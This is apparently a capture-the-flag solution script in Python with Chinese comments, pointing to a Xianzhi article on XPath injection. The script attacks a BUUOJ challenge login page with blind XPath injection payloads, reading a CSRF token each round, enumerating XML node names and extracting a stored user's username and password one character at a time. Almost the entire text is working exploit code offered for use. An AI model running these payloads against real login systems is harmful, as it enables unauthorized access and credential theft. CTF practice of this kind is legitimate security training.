详见

XPATH注入学习 - 先知社区 (aliyun.com)

import requests
import re
import time

s = requests.session()
url ='http://400f158d-53cf-4163-82a9-0d5ca129fab9.node4.buuoj.cn:81/login.php'



head ={
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36",
    "Content-Type": "application/xml"
}
find =re.compile('<input type="hidden" id="token" value="(.*?)" />')

strs ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'


flag =''
for i in range(1,100):
    for j in strs:
        time.sleep(0.2)
        r = s.post(url=url)
        token = find.findall(r.text)
        #猜测根节点名称
        payload_1 = "<username>'or substring(name(/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
        #猜测子节点名称
        payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #猜测accounts的节点
        payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #猜测user节点
        payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #跑用户名和密码
        payload_username ="<username>'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])


        print(payload_username)
        r = s.post(url=url,headers=head,data=payload_password)
        print(r.text)


        if "非法操作" in r.text:
            flag+=j
            print(flag)
            break

    if "用户名或密码错误!" in r.text:
        break

print(flag)